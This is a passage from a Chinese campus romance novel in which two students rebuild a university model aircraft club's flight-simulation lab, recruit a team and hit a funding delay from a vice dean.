“核心是这台,”他拍了拍其中一台看起来最新的工控机,“周予说之前基础组用过这台,跑飞控仿真没问题,但我们需要升级它的传感器接口板和部分驱动,适配高级组的矢量模型。” 夏篱操控轮椅滑到工作台前,开机,检查系统配置和预装软件。 “操作环境和基础软件环境还行,”她看了几个常用的软件,“这几个授权都在。但飞控仿真平台版本太旧,需要更新到支持强化训练和多物理场耦合的最新版。”她手指在键盘上快速敲击,调出系统日志,“嗯?这台机器最近一次高负荷运行记录是……上周三?” 唐简正在检查旁边一台用于结构应力分析的终端,“陈默之前跟我提过一嘴,陆子航前两天带人在这里鼓捣过什么,”他拧开一台示波器的外壳检查内部线路,“我们得确保硬件没问题,软件环境也要彻底清干净,重新部署我们的。” 两人分工明确。 夏篱负责软件环境的搭建和仿真平台的升级调试,唐简则检查硬件接口、测试传感器精度,并开始搭建一个简易的矢量喷口模型用于初步验证。键盘敲击声、螺丝刀拧动声、仪器的凤鸣提示音在安静的实验室里交织。 阳光从高处的窗户斜射进来,形成一道道光柱,空气中细小的尘埃在其中飞舞。时间在专注中悄然流逝,实验室仿佛成了一个被隔绝的小世界,只剩下他们二人和眼前亟待征服的几台机器。 然而,操作台的高度对于坐在轮椅上的夏篱而言有些偏高。她需要微微仰着头,手臂也需要抬得更高一些才能舒适地操作键盘和鼠标。时间一长,颈部和肩膀便传来隐隐的酸胀感。 唐简忙着手里的东西,一抬眼就看到她微微蹙起的眉头和下意识活动肩膀的动作。 他在实验室里扫视了眼,拿角落里一张高脚旋转椅擦了擦调试了下高度推到夏篱旁边。 “来。” “嗯?”夏篱眼睛没离开电脑,疑惑了声。 唐简没说话,只是弯腰一手穿过她膝弯一手扶住她的背,像那天在山上诊所一样,轻松地将她抱了起来。夏篱猝不及防,轻呼一声,本能地搂住他脖子。 唐简小心地将她放在他刚调试好的高脚凳上。 椅子高度合适,正好和工作台平齐。 夏篱坐在高脚椅上,脚悬空着,受伤的右脚被小心地搁在轮椅自带的搁脚板上。位置确实舒服多了,视野也正好。 她看着唐简,脸颊有些微热,刚才被他抱起时那瞬间的贴近和熟悉的气息仿佛还萦绕在她脸侧。 夏篱抿了抿唇,低声道,“谢谢。” 唐简把她的轮椅推到高脚椅旁边,方便她随时可以支撑或下来,然后故意凑近看她笑了笑,“你跟我这么客气我真是不习惯。” 夏篱往后仰了仰脑袋,视线故意没看他,说,“你现在每次跟我说话这么……我还不习惯呢!” 唐简自己把脸又凑到她面前,还是笑,“这么什么?” “……”夏篱用拳头怼着他脸侧把他凑近的大脑袋推远了点,“唐、建、军!” 唐简没再逗她,笑着起身准备走,却没想又被夏篱叫住。 “等一下等一下,”夏篱拽住他,皱眉指着屏幕上的报错,“这个串口通信协议有点问题,驱动好像和新的飞控平台不兼容。” “我看看。”唐简俯身凑近屏幕,肩膀几乎挨着夏篱的头顶。他快速浏览代码,“是握手信号时序冲突,改下这里的延时参数试试。”他说着,自然地伸手覆上夏篱握着鼠标的手,拖动光标定位到代码行。 夏篱身体几不可察地僵了一下,手背传来的温热触感异常清晰。她没动,看着唐简修长的手指在键盘上快速敲入几个数值。“好了,再编译试试。” 他松开手。 夏篱按下回车,显示编译成功,通信正常。 “嗯,好了。”她声音平静,耳根却悄悄染上一点红晕。 这次唐简没再故意说什么,只是离开前没忍住捏了捏她圆润白净的小耳垂。 第56章 阳光从高窗倾泻的角度悄然变化, 当夏篱终于将最新的飞控仿真环境搭建调试完毕,并成功跑通了一个简化的矢量模型初始程序时,窗外已是日头高悬。 咕噜—— 一声清晰的腹鸣不合时宜地打破了实验室的宁静。 “……”夏篱下意识捂住肚子。 那边唐简毫不客气地低笑出声, 看了眼时间,“一点二十二分……你可终于饿了。收个尾我们去吃饭, 陈默等我们等的已经在宿舍啃了七个鸡爪了。” “陈默?”夏篱看他疑问地一挑眉。 “嗯,”唐简到窗边洗手池那边洗手边道,“名单他已经大致弄好了,先找我们聊聊看,所以我约了他中午一起吃饭。” “……”夏篱也从随身小包里掏出来消毒湿巾擦了擦手, 闻言道, “那你怎么不早说, 我们可以先去吃饭啊。” “你下午不是还要去图书馆继续看论文?不让你把手头的东西做完, 你还得再跑过来一趟,不折腾吗?”唐简走过来顺手接过她手里的湿纸巾扔到门口垃圾桶里,看她把机器关机, 又去把总闸关掉……回来准备把她抱回到轮椅上时,发现她自己已经撑着凳子单腿跳着坐了上去。 “……”哎。 “吃什么?”唐简锁门的时候,夏篱在他身后问。 “海鲜粥火锅。” 夏篱眼睛一亮, “是北门附近那家叫‘鲜记’的店吗?” “你知道?”唐简诧异。 夏篱嘿嘿一笑,“我昨天晚上睡觉前突然就想吃海鲜粥, 搜学校附近时给我推荐的这家。说是嗯……学校附近最古老的一家店。” 唐简按了电梯,闻言回她, “去年我问过外公,他说在他教书的时候它就在了,只不过当时的老板是现在店主的爸爸,后来外公退休返聘的第二年店主的女儿就把店接手了, 但味道一直都是一样的。” 夏篱惊讶地睁大了眼,“外公返聘都已经快二十年了。” “是啊,”电梯门开,唐简推她出来,闻言摸摸她的头,“这家店可比我们年纪都要大得多。” “那味道一定很好,”夏篱四处张望了下,迫不及待问,“我们是直接过去还是等陈默学长一起?” “我刚发消息让他先去占位子了。”唐简说。 “……感觉我们好残酷,让人家等又让人家给占位子。” “没关系,”唐简说,“吃人嘴短。” “……” 店铺藏在一条热闹小街的深处,门面不大却坐满了人,烟火气十足,空气里弥漫着浓郁的米粥鲜香和海鲜的清甜。 唐简推着夏篱进去时,陈默已经坐在靠里一张相对安静的四人桌旁,正低头看着手机,手边放着一小沓订在一起的A4纸。面前小锅里,乳白浓稠的粥底正“咕嘟咕嘟”地冒着细密的气泡。 “来了。”陈默抬眼,朝他们点点头,算是打过招呼,顺手把菜单推到唐简面前,“我点了我们常吃的几样,看有什么要加的么。” 唐简没看菜单,直接对服务员道:“加一份鲜虾、一份鱿鱼、一份手打鱼丸和一份青菜拼盘。再来一扎酸梅汤。”他说完才看夏篱,“还要什么吗?” 夏篱摇头,反正她现在想吃的都已经点了。 等服务员离开,陈默目光饶有兴味地在对面两人身上扫了一圈。看着唐简拿起桌上的茶壶,先给自己和他面前的茶杯倒上,然后拿过夏篱面前的茶杯碗筷用滚水烫洗了一遍,再把斟满了菊花茶的水杯推到她手边……整个过程行云流水,流畅得仿佛演练过千百遍似的。 而对这一切习以为常没察觉出来任何问题的夏篱一门心思都在陈默手边的A4纸上,她压根儿没注意到陈默的眼神,服务员一走就迫不及待看着陈默开口,“唐简说你已经把名单都整理好了?那个是吗?” 陈默感叹地摇摇头,把东西递给她,笑说,“学妹,你这算不算是事业型女强人啊?饭都一口没吃呢。” 夏篱闻言有些尴尬地笑了笑,接手的同时,客气地对他伸了伸手,“学长你吃你吃哈。” 很快,新点的食材陆续上桌。 唐简拿起勺子,先给夏篱盛了小半碗滚烫的粥底,又夹了几片鲜嫩的牛肉放进去,把碗放到她面前时顺手把她手里的东西抽走放到自己椅座侧边,冲着她的碗抬了抬下巴,“先吃饭。” “……”夏篱有些不满地睨了他一眼,“我刚看两行。” “吃饭。” 夏篱张嘴还想说什么,对面的陈默眼力见十足,忙道,“来来来学妹,我们边吃边说边吃边说,我先给你大概说说情况,详细信息等你回去再慢慢看。” 热腾腾的粥香混合着海鲜的鲜甜,确实勾起了夏篱强烈的食欲。她压下对名单的急切,拿起勺子,咬了一小口吹着气。 陈默给自己盛了一碗,不紧不慢地开口:“剩下的人,不算我和周予,一共十六个。我按技术能力、项目参与积极性、性格特点还有……嗯,跟陆子航那帮人的关系疏密,大致分了了分。先说能用的,或者说,潜力比较大的。” 夏篱点头。 陈默说,“一个是刘淌,社里现在唯一的飞手。但怎么说呢,他虽然飞得很一般,可这小子动手能力却很强。尤其擅长机械结构组装调试、传感器校准和线路排故。社里哪些老设备,半死不活的,很多都是他古道好的。人有点内向,不太爱说话,但做事认真负责,交给他的活,只要他应了,基本不用操心。缺点是理论底子薄。” 说到“唯一飞手”夏篱倒是有印象,“你说的这个人我之前去仓库见周予时应该见过,那天我看他飞控操作是有点……生涩,但机体在转向点下沉时,姿态调整的反应虽然满,但修正动作本身还算稳的,没有过度补偿,说明手感是有的,就是经验欠缺。这样……只要理论不上来,飞控实操提升空间还是很大的。他适合结构和测试保障小组。” 至于真正的飞手人选……她有自己的打算。 陈默有些意外地看了眼夏篱,没想到她观察得这么细。 “对,我也是这么想的。第二个是何晓雯,大三,自动化系的……她这个人有点神,专业是自动化,但却是个真正的理论派,数学建模和算法设计是强项,尤其擅长优化算法。之前基础组的气动外形优化方案就是她做的初版,效果不错。就是……人有点清高,不太合群。觉得社里其他人技术糙,以前也就跟我和周予还能说上几句。陆子航那种蛮干派她最看不上。她肯定对高级组的仿生飞控算法感兴趣。” 夏篱眼睛亮了一下,“可以啊,飞控与导航小组的核心人选。她清高没关系,只要技术过硬,尊重规则,我们可以给她发挥的空间。” “第三个,王海。大二,材料学院的。”陈默继续道,“这小子是个‘材料控’,对各种轻量化材料、复合材料如数家珍,动手能力也不错,社里几架获奖机型的减重方案都是他主导的。人很踏实,有点轴,认死理。以前被陆子航硬塞过几次不合适的材料方案,吵过几架,关系很僵。他肯定支持我们搞高级组。” 唐简给夏篱的碟子里夹了几块烫好的牛肉,“结构和材料小组组长人选。” “嗯。”夏篱点头表示认同,“还有呢?” “还有几个,”陈默想了想,说,“比如张铭轩,电子工程大二的,硬件电路设计、嵌入式系统玩得转,社里地面站和部分遥测设备都是他在维护升级;林曦,航天学院大三,摄影测量和后期图像处理很厉害,负责基础组的航拍得分项一直很稳,人也细心;还有赵鹏,虽然技术不算顶尖,但算是社里的‘润滑剂’,人缘好,组织协调能力强,后勤保障、沟通协调这些杂事交给他大概率不会出什么错……” 陈默一口气点了七八个人的名字,简要分析了优缺点和可能的定位。夏篱边吃边听,脑子飞快运转,将名字、特长与未来项目组的小组架构一一对应起来——以至于她完全没注意到自己一直吃一直没空过的碗。 “剩下的,”陈默放下筷子,喝了口酸梅汤,“要么是技术确实平庸,只能打打下手;要么就是墙头草,以前跟着陆子航混,现在陆子航走了,他们虽然有点慌,但也在观望;还有两三个,技术是有的,但性格比较独,或者只对某个特定方向感兴趣,对团队协作热情不高,如果需要可能得花点心思去沟通和激发。最后就是……” 陈默犹疑道,“刘雨萱。” “刘雨萱?”夏篱说,“之前带大波的那个学姐吗?” “对。她在社里做了两年的项目经理,主要负责资源协调文档管理和一些外部联络的工作……她算是跟陆子航关系挺好的那波。” “……你的意思是,之后我们资源可能会大打折扣?”夏篱想了想问道。 陈默点头,“很有可能。”除非被她带出来的梁清波比她能力更强,还站在他们这边。 夏篱若有所思:“陆子航带走那几个人,影响大吗?” “影响肯定有。”陈默直言不讳,“经常跟在他身边的刘洋——” “就是那个西瓜头。”唐简插嘴补充。 夏篱恍然“啊”了声,看着陈默,“他怎么?” “……‘西瓜头’的飞控实操在社里是能排前三的,虽然理论差点,但手稳,大赛经验也有。还有其他两个大三的,一个擅长动力系统集成,一个搞机械加工的,都是社里的技术骨干。他们跟着陆子航走,一方面可能是不满,另一方面……陆子航家里有点小钱,他自己在外头有个小工作室——这事社里没几个人知道。他以前就经常用私活和‘外快’笼络人。” “陆子航这次肯定不会善罢甘休,”唐简说,“说不定真会私下搞个队伍跟我们打擂台。” 陈默叹口气,“社里短期内人手和技术缺口是实打实的。刘淌飞控要练起来需要时间;何晓雯的算法也需要硬件平台落地验证;王海的材料再好,也需要结构设计和动力配合才能发挥……总之时间很紧。” 一股前所未有的压力突然袭来,夏篱无意识地轻轻吐了一口气。 唐简看她,平静道,“没那么糟糕。技术平庸的,可以安排基础性、重复性的工作,或者作为后备培养;墙头草就用项目和前景去争取,实在不行不强求;性格独但技术好的,找到他们感兴趣的点去切入,至于飞手……不还有我吗。” 陈默闻言瞠目,“你、你要参加啊?” “……不然我到航模社干什么?镇宅吗?” 陈默毫不犹豫地点点头,“嗯啊。”你不就是怕学妹在里面被人欺负才来的么? 唐简无语:“跟你这种‘和尚’说不通。” “……”陈默“嘶”了声,“我怎么觉得你是在人身攻击啊?!” 夏篱没忍住“扑哧”一声,看着唐简眼珠亮晶晶的,“你真要做飞手?” 唐简看着她,眼里有笑,“反正最后我肯定会被你说服做的……主动请缨能加分吗?” 夏篱差点被嘴里的粥呛到:“……” “加什么分啊?”陈默闻言一脸懵逼,“这以后报名的还要一个个打分的吗?” 这会不会有点太严苛了。 唐简叹气,夹了块鲍鱼放到对面陈默碗里,“吃你的吧。” 跟你这个和尚真是说不通。 第57章 一顿饭下来, 项目核心团队的轮廓在夏篱心里已然清晰。 不得不说,唐简称陈默“扫地僧”不是没有原因的,至少他这份洞察人心的名单分析真的让她有些刮目相看。 午餐结束, 已经快三点半了。 秋日的阳光带着暖意。 “直接送你去图书馆?”唐简问。 “嗯,”夏篱点头, “下午我把昨天没看完的那篇关于新型矢量喷口材料应力的论文看完,再整理一下仿真平台需要的基础参数。明天也能在预研会上做个数据参考。” “好。”唐简应道,转向陈默,“你呢?” “我回宿舍,再细化下每个人的评估要点发给周予一份, ”陈默用下巴点了点夏篱手里的那份文件, 说, “这不还得联系下他们看看, 看明天都谁能参加预研。” “辛苦了,陈默学长。”夏篱笑着从随身带的小包包里摸出一支棒棒糖递给他。 陈默“嘿”了声,接过手打量着, “难道这就是老齐曾经说过的‘见面礼’吗?为什么我的这么迟才给?” “嗯……”夏篱说,“可能因为迟到的糖会更甜一点吧。” 陈默撕开包装袋咬进嘴里,“啧”了声, “确实甜,毕竟我是用劳动换来的!” 随后他笑着给两人摆了摆手, “走了,回见。” “哎, 学长不一起吗?”夏篱扬声问了句,毕竟都是要回学校的。 显然吃明白了那口鲍鱼的陈默摇了摇手里的棒棒糖,“不了,我一个人走得快, 你俩追不上。” “……” “……” 等陈默离开,夏篱突然想起什么,拿起手机看了眼时间,“你下午是不是还要去篮球馆训练的?” “嗯。”唐简应声,“四点才开始,来得及。” “来得及什么来得及,”夏篱说,“待会到学校门口就不要送我了,你直接往右抄小道去篮球馆,我自己可以去图书馆。” 唐简闻言不为所动地推着她往前走,“你自己当然可以,但我不行。” 夏篱没明白,“什么意思?” 唐简叹口气,抬手在她头顶轻轻敲了下,“因为那不是一个正在追你的人应该做的事。” “……”夏篱张了张嘴似乎是想说什么,但话到嘴边想到时间不合适就又咽了回去,只是道,“那我们快点,你上来。” “上来?”唐简难得愣了下。 夏篱指指身后的踏板,“对啊,上来,姐姐带你飞。” 唐简“嘶”了声,捏了捏她的脸,“没大没小。” 夏篱笑,“上来啊。” “不上,”唐简低头看了眼,蓦地俯身从她身后捉住她两只手放到两侧扶手上,侧头在她耳边笑道,“……抓紧。” “啊?” 唐简没吭声,直接推着轮椅在人行道上飞奔起来,“那我宁愿推着你走。” 夏篱甚至来不及惊呼,身体便因骤然加速的推力猛地向后陷进椅背。眼前的景物瞬间拉成模糊的色块,风扑在脸上,带着秋日午后阳光的温度和行道树独有的干燥气息,发丝被猛地向后扯去。 她身体微微后仰,心跳得飞快,分不清是因为速度还是身后那人胸膛里传来的震动。 轮椅的轮子碾过路面细小的缝隙,发出轻微的、规律的咔哒声,像是为这场突如其来却又久违的奔跑打着节拍。 幸好中午这时候路上行人并不多,午后的阳光穿过银杏叶的缝隙,在人行道上洒下斑驳跳跃的光影。夏篱的惊呼和笑声被迎面而来的风揉碎,散落在身后。 “太快了!唐简!”夏篱笑喊道。 唐简丝毫没停,“你不是赶时间吗?” “你这是赶时间吗!你这是开F1!”她嘴上虽怪,嘴角却抑制不住地上扬。 偶尔路过的人侧目,神态万千地看着这风驰电掣的一幕——高大帅气的男生推着轮椅上的漂亮女孩在路上飞奔,女孩脸上是混合着惊叹和开怀的笑容。 风掠过她的脸颊,扬起额前的几缕碎发,痒痒的。 夏篱能感觉到唐简手臂沉稳的力量透过椅背传来,他跑得很快,步伐却控制得极稳,仿佛推着的不是轮椅,而是一件珍贵的易碎品。这种被小心呵护却又带着点肆意张扬的感觉,让她心头那股莫名的、自从他表白后就一直存在的悸动的心,更是开始蠢蠢欲动起来。 夏篱微微眯起眼,感受着风掠过皮肤的畅快,仿佛连脚踝那点隐隐的胀痛都被这速度暂时抛却了。 轮椅稳稳地停在图书馆侧翼的无障碍通道入口前。 唐简绕到夏篱面前,蹲下身,目光和她平视,微微喘息着笑道,“六点半来接你。” 夏篱深深吸了一口气又吐出来,才慢慢点了点头。 唐简笑着站起身,摸了摸她头发,“进去吧。” 夏篱呼吸也有点急促,仰头看着他好一会儿没动。 “怎么了?”唐简问。 夏篱摇摇头,什么都没说,少顷笑着对他摆了摆手,操控着轮椅进去了。 唐简一直看她身影消失在门内,才转身迈开长腿,朝着篮球馆的方向大步跑去。阳光将他高大的身影拉得很长,纯黑色的身影很快消失在林荫深处。 周天早晨除了还在篮球馆训练的唐简,夏篱和周予陈默三人先碰了个面。 晚上七点,307实验室,该到的人都到了。 不能不说陈默办事是真的靠谱,除了他们四个人,昨天午餐时初步圈定的刘淌、何晓雯、王海、张铭轩、林曦和赵鹏几人都按时到了。 此时众人围坐在一起,气氛虽然有些拘谨,但更多的是好奇和一丝丝压抑的兴奋。 周予诚恳地介绍了SAE高级组项目的目标、挑战和意义,也坦承了目前面临的困难,但也着重强调了团队重组后公平竞争、能者居之的原则和决心。 周予说完,夏篱接棒,用简洁清晰的语言阐述了初步的技术路线和团队架构设想——正是她之前提出的按核心子系统划分技术小组的模式。点明矢量推进和仿生飞控结合是核心难点,飞控算法、轻量化结构、动力集成、测试保障环环相扣。展示初步的仿真环境搭建成果,还抛出了几个关键的技术问题供大家思考。 她的专业、冷静和清晰的思路,迅速赢得了在场几人的认可。尤其是何晓雯,看着屏幕上跑动的仿真模型和夏篱提出的算法问题,镜片后的眼睛明显亮了起来。 讨论是让周予惊喜程度的热烈。 刘淌对测试平台搭建很有研究;王海对各种轻量化材料的性能参数和应用场景侃侃而谈;张铭轩对地面站通信协议的升级甚至提出了两个具体方案;连原本有些清高的何晓雯也主动跟夏篱谈起飞控算法的鲁棒性设计……而赵鹏则默默记录着大家提出的资源需求和可能的时间节点。 唐简虽然话不多,却精准地提出了几个动力耦合方案中的潜在风险点,不仅如此还直接提供了替代思路,陈默则负责协调、记录和解答一些流程性问题。 总而言之,这显然是一场非正式但高效的碰头会,散会时,大家都有点意犹未尽,个个眼中燃着一丝难掩的斗志,夏篱知道,团队的骨架,算是初步搭建起来了。 “社长,剩下的就看你的了。”分开前,夏篱看着周予道。 周予乐得眼睛都快眯成一条缝,“没问题没问题,包在我身上,刚那方案你们不也都看了吗?明天一早我就把这些交给学校,我相信肯定没问题的!” 夏篱笑着点点头,毕竟不论是项目还是周予的这张嘴,她都还是很有信心的。 临走时,还不忘给他打气,“加油啊,社长!加油加油!” “放心吧!妥妥地!”周予对着她潇洒一挥手。 周一一大早,周予信心满满地拿着项目报告去主管学生科创项目的副院长办公室。 整个汇报过程漫长而煎熬。 周予使出了浑身解数,从项目的前沿意义、对学校声誉的提升、对学生能力的锻炼,讲到团队重组后的技术实力、初步成果、详细预算和风险预案……声情并茂,甚至有些慷慨激昂地将那份可行性报告阐述得淋漓尽致。 王副院长看起来听得很认真,不时提问几句。周予不着痕迹地把夏篱在活动馆和航模社会议上的表现都适度美化强调了一番,尤其对唐简和夏篱的技术能力和初高中时参加各种大赛经验也做了详细背书。 但当周予最后将那份关于陆子航等人的报告呈上,并强调这是整顿社团风气、确保项目透明公正的必要举措时,王副院长的眉头明显皱了一下。 “小周啊,”王副院长放下报告,手指在桌面上轻轻敲了两下,“你们这个想法呢,很有魄力,年轻人敢闯敢拼是好事。夏篱同学和唐简同学呢,也确实非常优秀。”他顿了顿,话锋一转,“但是SAE高级组,这个难度和投入不是儿戏啊。你们航模社目前的情况……嗯,刚刚经历这么大的内部波动,骨干流失,人心难免浮动。这个时候上马这么高难度的项目,风险是不是有点太大了?” “院长,”周予急忙解释,“正是因为经历了波动,我们才更要打一场翻身仗来凝聚人心!而且我们新的核心团队已经初步形成,士气很高,技术实力是有保障的!陆子航他们离开,某种程度上反而是排除了不稳定因素——” “道理是这么个道理。”王副院长摆摆手,打断了他,“不过,学校也有学校的考量。这样吧,”他拿起周予的报告抖了两下,“这份材料先放我这里,项目就算要立,也不是院里单独能批的,还得跟财务教务一起协调。况且你们这个预算……说实话数额不小啊,学校今年的科创经费也是有总额控制的。我们得综合评估下风险、投入产出比和其他项目的优先级……要不你先回去,等通知吧。” “院长,那……大概需要多久?”周予心往下沉了下,勉强笑道,“明年四月份比赛,时间上可能……” “我尽快吧,”王副院长笑着拍了拍他胳膊,“有消息就会通知你的。别急,沉住气,该做的准备工作也还是可以继续做的嘛。” 周予看出来再说无益,只能强撑着笑容道谢,告辞出来。走出行政楼,深秋的风吹在脸上,带着刺骨的凉意。刚进去时的踌躇满志荡然无存,周予满腹颓唐,一把揉乱了早晨特地梳整的头发。 他第一时间把情况发在了四人在的小群里。 中午几人一碰面,夏篱就有些内疚道,“我是不是不应该让你先把陆子航的事交上去?该等项目批下来再找机会的。” “不行,”唐简闻言一下就否定了,“陆子航太不稳定了,如果不提前把他这件事让学校知道,等项目批下来万一中途出了什么问题,整个航模社都得背锅,到时候问题只会更大。” 陈默和周予连连点头认同。 气氛一时有些凝滞。 须臾唐简摸了摸夏篱的脑袋,然后拍了拍手,“别这么没精打采的,项目评估也只是流程而已,又不是直接拒了,还是有机会的。王副院长说得也没错,我们该做的准备工作还是可以继续做的,这样等通知下来,我们按部就班也不会乱。” “有道理有道理,”周予强打起精神,看着三人笑了笑,“我们该做什么就继续做什么嘛,让等我们等就是了。” 第58章 周予话虽是那样说, 但语气里的失落和不确定难以完全掩饰。 先前燃起的斗志之火,仿佛被一盆名为“bureaucracy”的冷水浇了个透心凉,只余下几缕不甘的袅袅青烟。 少顷陈默打破短暂的沉默, 语气依旧带着点他那种独特的、仿佛事不关己的平静:“王副院长这话,翻译过来就是‘研究研究, 商量商量,无限期搁置’的标准流程。指望学校主动、快速地给这么大笔预算,确实不现实。” 他看向唐简和夏篱,“我觉得我们之前想的‘边做边等’有点悬,现在看来, 光‘做’技术预研可能不够。” 唐简立刻明白了他的意思, 接口道, “你的意思是, 我们需要拿出更实在的东西,证明即使没有学校前期的全额投入,我们也有能力做出成果, 降低他们的风险预期。” “更实在的东西?”夏篱蹙眉,“仿真验证再完美,也只是纸上谈兵。没有经费, 我们连最基础的矢量喷口实验件都加工不出来,更别说进行实物测试了。” “未必需要一开始就追求高精度的实验件。”唐简目光扫过实验室角落里那台半旧的3D打印机, “我们可以先做简化版的验证模型。材料用普通的PLA或者ABS,动力先用现成的卫星航模电机改, 精度差很多,但足以验证核心的驱动逻辑、基本的启动效应和控制系统的基础框架。关键是思路和可行性。” 夏篱闻言眼睛微微一亮:“我懂了,低成本快速原型验证!先把概念跑通,哪怕数据粗糙, 但动态演示的效果,远比一堆报告和仿真曲线更有说服力。” “而且,”唐简看她亮亮的眼睛,眼里不觉也带着点笑,“这个过程本身也能进一步筛选和锻炼团队。谁能在这种‘穷折腾’里沉下心做出东西,谁才是项目真正需要的人。” 周予听着三人的对话,原本晦暗的眼神也重新燃起一丝光亮:“有道理有道理!学校怕风险怕浪费钱,那我们就先证明我们能用最少的钱,展现出最大的潜力!我虽然申请不来大笔经费,但申请点耗材费和基本设备使用费用还是没问题的!” “预算问题,”唐简又说,“周予,你那份预算表做得其实已经很细了,但我们或许可以再琢磨琢磨,看看哪些地方还能再优化压缩一下成本,或者有没有其他途径可以先解决一部分资源,比如能不能联系到一些企业赞助,或者看看有没有什么相关的课题项目可以借点东风?哪怕只是蹭点边角料资源也可以。” 思路一转,周予豁然开朗。 自早晨出了办公室就笼罩而来的颓丧被一种更务实和带着点“草根”拼搏意味的兴奋所取代。 他搓搓手:“那我……我去跟管实验室的老师再磨磨,多争取点机时和基础耗材额度,再打听打听其他学院有没有淘汰下来或者闲置的我们能用的旧设备!” “昨天开会的那些人,我找机会再深入聊聊,摸摸底,也提前偷巅峰,看看他们的具体一项和能投入的程度。就算项目没正式批,前期技术交流和思路碰撞总没问题。” 唐简则是在实验室里扫了眼,“我来清查下社里现有的还能用的材料、电机、传感器和打印机状态,列个清单,看看我们手头有多少具体能用的东西。” “仿真平台还需要大量测试和优化,”夏篱思路清晰起来,明白此时最重要的其实还是‘技术层’,“我来继续深化算法模块,把基础框架搭得更稳固写,多跑几种极端工况下的模拟。” 你一言我一语,刚才还沉闷的餐桌渐渐恢复了点活力。虽然前路依旧模糊,目测挑战重重,但至少方向重新变得清晰起来——总之不能停下来,要继续往前走,而且要走得比之前更稳、更快、更漂亮。 吃完饭,四人分头行动。 接下来的两天,307实验室仿佛成了整个学校最忙碌的地方。灯光常常亮到深夜寝室濒临熄灯之际。键盘敲击声、低声讨论声、仪器运行声几乎不曾间断。 夏篱作为技术核心和实际上的协调者,展现出了惊人的专注力和效率。她坐在那张高脚椅上,受伤的脚虽然已经拆去了厚厚的绷带,但依然需要借力搭在一旁。面前往往同时开着三台显示器的屏幕——一台跑仿真,一台写代码或分析数据,一台用于沟通和资料查询。她的思维在不同任务间无缝切换,往往何晓雯刚提出一个动力模型的疑问,她就能立刻调出相关的飞控算法段落进行比对。 唐简几乎全程陪着她。 他负责了大部分需要体力或需要高处操作的工作,比如调整设备、焊接测试电路板等等,沉稳的心态和偶尔的插科打诨,常常让夏篱忘了时间和其他那些干扰她专注力的存在。 何晓雯也沉浸在自己的算法世界里。她直接包揽了仿生飞控核心算法的攻坚任务,和夏篱通过邮件和电话频繁交流,碰撞出不少火花。她的专业和投入让夏篱倍感惊喜,两人虽然交流言简意赅,却颇有种高手间惺惺相惜的感觉。 材料专业的王海也开始系统地整理轻量化材料数据库,并针对矢量推进系统的高温高压环境,筛选潜在可用的复合材料,进行初步的性能模拟计算。 张铭轩在升级地面站通信协议的同时,也开始设计用于未来实测数据采集的嵌入式系统框架。 …… …… 这两天每天下课,核心组的几个成员们只要有时间就自发地聚集到307实验室。每个人都找到了自己的位置,忙碌而充实。希望的火焰并未因短暂的阻碍而熄灭,反而在扎实的工作中燃烧得更加稳定。 周三这天晚上,又只剩下夏篱和唐简在实验室收尾。 夏篱正在整理一天的工作日志和第二天要分发的任务清单,唐简则在检查明天需要用的一个传感器模块。 机器运行的嗡嗡声将空间映衬得格外安静。 寂静中,夏篱忽然开口,声音带着一丝不易察觉的疲惫,但更多的是困惑:“我还是不明白为什么王副院长会犹豫?我们的报告写得很清楚,即使陆子航先前是社里的技术骨干,但他有问题是不争的事实,他的问题提前暴露解决了明明是风险可控,这不应该是学校乐见其成的吗?” 唐简闻言手上的动作顿了顿。 少顷他放下手里的万用表,走到她身边靠在桌沿上。他其实很理解夏篱的不解,在她纯粹的技术思维里,事情的好坏、可行性应该由逻辑和技术本身决定。 “有时候,决定事情走向的,不全是技术和逻辑。”唐简斟酌着用词,“学校里也有各种考量。比如,支持我们高级组,意味着要投入大量资源,可能会挤占其他项目的经费。陆子航他们虽然走了,但毕竟曾经是骨干,闹得这么难看,院里也可能会觉得面子上不好看,或者担心后续还有麻烦,他们可能还需要权衡个方面的关系和影响。最重要的是,对很多人来说‘稳定’往往比‘冒险创新’更重要——哪怕这个冒险的成功率很高。我们的项目很好,但可能……不在他们最初的计划或者舒适区内。” 夏篱蹙着眉,消化着唐简的话。这对她来说,是比矢量推进耦合更复杂的“系统性问题”。 “所以,即使我们做得再好,也可能因为这些……‘技术之外’的原因被否决?” “有可能。”唐简诚实地点头,但随即话锋一转,“但正因为有这些因素,我们才更要做得无可挑剔。用扎实的成果,让所有‘技术之外’的顾虑都显得苍白无力。让加入我们的人更有底气,让犹豫的人找不到反对的理由——这就是我们现在努力的意义不是吗?” 他抬手轻轻碰了碰她眼角,“别想那么多。搞定技术是你的强项,把这些复杂的人和事暂时交给周予他们去操心。你现在最重要的任务,就是带领大家把预研做出彩,堵住其他任何想挑刺的人。” 夏篱仰头看着他半晌,突然道,“你相信我可以做得到?” “当然。”唐简不假思索。 唐简回答的太快反而让夏篱微微愣了一下,须臾,她看着他开口叫了声他的名字。 “唐简。” “嗯?” “谢谢你。” “……谢我什么?” 夏篱有点招架不住唐简因为背对着头顶的光而更显深邃的目光,收回视线继续看着面前的电脑屏幕,眼神晃了晃,说,“你自己悟吧。” “…………” 晚上回到宿舍洗漱完躺到床上,夏篱在看到孙翡给她发过来的微信时,才想起明天又是单周周四。 好消息是又可以和唐简还有孙翡一起上课了,坏消息是……课堂上还有那个令人厌烦的陆子航。 【翠翠的翡翡】:宝儿,最近你忙到飞起我都快忘了你长什么样了。[哭泣] 【翠翠的翡翡】:明天中午一起吃饭啊啊啊啊下午一起去上课!!!(不接受拒绝>-<) 夏篱看着揉着眼睛笑了笑,给她回复:好好好,中午三食堂见,我请你吃你最爱的砂锅粉。 【翠翠的翡翡】:拉钩拉钩!!晚安晚安!快睡觉! 【好好学习天天向上】:嗯嗯晚安,你也是。 隔天中午孙翡在三食堂门口真的只等到乐苗和夏篱两个人时还挺意外的,“唐简学长最近在你身边亦步亦趋的,今天居然真的没跟来啊?” “……”夏篱说,“他导师临时找他有事。” 孙翡“啧”了声,“我就知道。” “不过几天没见,你脚看着好多了诶。” “嗯,昨天换药医生说这周天再换的时候就可以把绷带全拆了。” “太好了。”孙翡看着她笑,“两个多星期没滑滑板忍坏了吧!” 真是哪壶不开提哪壶,但夏篱还没来得及讨伐她,就听旁边乐苗凉凉提醒,“那可不止这两个星期呢……就算绷带拆了她这脚估计还得养个个把月嗷!” 夏篱:“…………你们真是一个比一个气人啊。” 三人说笑着点了餐。 但饭吃了一半,孙翡却突然想起什么似的跟对面的夏篱道,“对了宝儿,你听说没?” “嗯?” “就是那个陆子航啊,他好像自己要组队参加比赛了!” 夏篱筷子顿了顿,“你从哪听说的?” 